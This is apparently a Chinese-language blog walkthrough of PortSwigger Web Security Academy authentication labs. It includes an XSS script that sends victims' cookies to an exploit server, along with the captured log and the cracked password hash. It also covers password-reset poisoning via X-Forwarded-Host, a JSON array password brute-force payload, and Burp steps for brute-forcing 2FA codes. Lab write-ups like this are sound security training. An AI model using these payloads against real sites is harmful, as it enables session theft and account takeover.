Burp Web Academy 鉴权漏洞(二)

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的鉴权漏洞(Authentication Vulnerabilities)章节。

0x02. 鉴权漏洞

2.1 Lab: Offline password cracking

This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the “My account” page.

  • Your credentials: wiener:peter
  • Victim’s username: carlos

根据提示,直接在文章评论区留下盗取 XSS 的 Payload:

1
2
3
4
5
<script>
var url = "https://exploit-0abe00c503e81139808e2aa2017b009d.exploit-server.net/exploit?";
url += document.cookie;
document.write('<img src=\"' + url + '\">');
</script>

然后,查看 Exploit Server 的访问日志(https://exploit-0abe00c503e81139808e2aa2017b009d.exploit-server.net/log):

1
10.0.3.17       2025-01-13 16:08:21 +0000 "GET /exploit?secret=pnyswSKRPwf4n37sPtNKghfAgHiw49Fl;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

可以看到已经回传了 Cookie。现在还不清楚 Cookie 的格式,可以使用 wiener 登录,得到如下 Cookie:

1
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; session=MrQPMCRDQMSXykVd0eMnqIO1RCUQ3jsU

stay-logged-in 字段还是 base64(username:md5(password)) 格式,尝试破解收集到的 Cookie:

1
2
Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz -> carlos:26323c16d5f4dabff3bb136f2460a943
26323c16d5f4dabff3bb136f2460a943 -> onceuponatime

直接去网上反查 MD5 得到 onceuponatime。做题的时候我还在想,为什么不直接使用 Cookie 登录后删除账户呢?原来删除的时候还需要二次确认密码。

2.2 Lab: Password reset poisoning via middleware

This lab is vulnerable to password reset poisoning. The user carlos will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials: wiener:peter. Any emails sent to this account can be read via the email client on the exploit server.

这题对于入门级 Web 🐶来说,着实不会。看了官方答案,发现思路和 Burp Web Academy 访问控制漏洞(二) 有点类似。

首先,使用 wiener 找回密码,在 Email client 会收到一封邮件,其中包含密码重置链接,URL 参数中携带关键的 token 字段。

其次,使用 carlos 找回密码,并添加 X-Forwarded-Host: <exploit server host>,这是告诉后端服务器请求可能经过了负载均衡服务器(这也是题目中提到的 middleware),原始的 Host 由 X-Forwarded-Host 指明,那么生成的密码重置链接会使用我们指明的 Host。

最后,当 carlos 点击链接时,我们通过 Exploit server 的访问日志即可看到重置密码所使用的 token 字段了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /forgot-password HTTP/2
Host: 0ae200a304cf3cc5818f200a00d500cb.web-security-academy.net
X-Forwarded-Host: exploit-0ae2004604533cb481f61f4901e300f1.exploit-server.net
Cookie: session=hK8wFp8IDaraUenz2JZbuYiGtZXATrRn
Content-Length: 15
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ae200a304cf3cc5818f200a00d500cb.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ae200a304cf3cc5818f200a00d500cb.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

username=carlos
1
10.0.4.60       2025-01-14 15:43:50 +0000 "GET /forgot-password?temp-forgot-password-token=3x4kvuss485fjbb70vpkd737cpy1n2kl HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

基于这个 token 来重置 carlos 密码,随后登录账户即可。

2.3 Lab: Password brute-force via password change

This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page.

首先登录接口不可以爆破,会有检测:

1
You have made too many incorrect login attempts. Please try again in 1 minute(s).

使用 wiener 登录,发现有修改密码的功能,且需要输入原始密码:

  • 如果原始密码错误
    • 如果两个新密码一致,则返回 302,重定向到登陆页面
    • 如果两个新密码不一致,则提示 Current password is incorrect
  • 如果原始密码正确
    • 如果两个新密码一致,则返回 200,提示 Password changed successfully!
    • 如果两个新密码不一致,则提示 New passwords do not match

需要注意的是,我们需要使用 wiener 的有效 Cookie,才可以进行密码修改操作,POST 请求中可以指明 username 字段。如果 Cookie 是无效的,将被 302 重定向到登录页面。也就是说,密码修改接口本身是需要鉴权才可以访问的,只不过逻辑有问题可以爆破任意账户的密码。

2.4 Lab: Broken brute-force protection, multiple credentials per request

This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page.

访问登陆页面,发现数据是以 JSON 形式提交的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function jsonSubmit(loginPath) {
const formToJSON = elements => [].reduce.call(elements, (data, element) => {
if (element.name && element.name.length > 0) {
data[element.name] = element.value;
}
return data;
}, {});

const jsonObject = formToJSON(document.getElementsByClassName("login-form")[0].elements)
const formData = JSON.stringify(jsonObject);
fetch(
loginPath,
{
method: "POST",
body: formData,
headers: {
"Content-Type": "application/json"
},
}
)
.then(response => {
response.text().then(t => {
document.open();
document.write(t);
document.close();
});

if (response.redirected) {
history.pushState({}, "", response.url)
}
});
}

使用 Burp 抓包测试:

1)正常的 JSON 数据

1
{"username":"carlos","password":"123456"}

2)使用数组形式,每个元素是一对用户名和密码,返回 500 Internal Server Error

1
[{"username":"carlos","password":"123451"},{"username":"carlos","password":"123452"}]

3)仅密码字段使用数组形式,返回 HTTP/2 302 Found,右键选择 Show response in browser 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /login HTTP/2
Host: 0a2b00ad03a468e5805f445b00f10099.web-security-academy.net
Cookie: session=sQRv44urp7ktqhcwhGn2MX80rN1ocuXF
Content-Length: 986
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://0a2b00ad03a468e5805f445b00f10099.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2b00ad03a468e5805f445b00f10099.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"username":"carlos","password":["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]}

2.5 Lab: 2FA bypass using a brute-force attack

This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page.

Victim’s credentials: carlos:montoya

Note

As the verification code will reset while you’re running your attack, you may need to repeat this attack several times before you succeed. This is because the new code may be a number that your current Intruder attack has already attempted.

给了正确的账号密码,但是要输入四位数字的验证码,如果连续输错则会被登出,感觉自己写代码的话爆破是 OK 的,登出之后重新登录再继续发送验证码。查看官方答案,使用 Burp 的宏也可以完成操作,之前没有用过,照着操作了一遍。

不过不同版本的 Burp Suite 的 UI 有点不太一样,这个 Session Handling Rules 找了好久才找到,在 v2022.9 中,位于 Project options -> Sessions 下。

Burp Suite Session Handling Rules

操作步骤:

  1. 点击 Session Handling Rules 下的 Add 按钮
  2. Session handling rule editor 中切换到 Scope,在 URL Scope 选择 Include all URLs
  3. Session handling rule editor 中切换到 Details,在 Rule Actions 点击 Add > Run a macro
  4. Select macro 点击 Add 打开 Macro Recorder,选中并添加 GET /loginPOST /loginGET /login2
  5. 点击 Test macro 进行测试,确认发送请求 OK,且可以正常进入到输入验证码的页面
  6. 持续点击 OK 回到 Burp 主界面,录制的宏在 Burp Intruder 中发送请求前会自动触发
  7. 发送 POST /login2 到 Burp Intruder
  8. 在 Burp Intruder 中,清楚自动设置的字段,仅设置 mfa-code
  9. 设置好 mfa-code 的 payload 格式为 4 位数字
  10. 把并发请求数设置为 1,防止并发导致自动登出

之后就可以开始爆破攻击了,不得不说,Burp Suite 是做的真好,还能自动更新表单的 CSRF 字段。不过单线程跑 10000 * 4 次请求,还是挺慢的,而且不一定一次就能跑出结果来。

等到 Intruder 中出现 302 的状态码时,选择 Show response in browser 即可打开成功爆破验证码之后的页面。

0x03. 小结

  • 重要操作,最好进行密码二次确认,防止 Cookie 劫持来进行高危操作
  • Web 服务器架构要熟悉
    • 前端、中间件、后端,除了负载均衡服务器,可能还有 CDN 等,需要清楚可能的完整请求链路是什么
    • X-Forwarded-Host
  • 可以爆破密码的地方不仅仅在登录页面
    • 密码修改接口可能也能够用来爆破密码,需要仔细观察各接口针对不同数据的响应
  • 尝试各种不同形式的测试用例
  • Burp Suite Session Handling Rules 宏的使用

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#access-control-vulnerabilities
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Host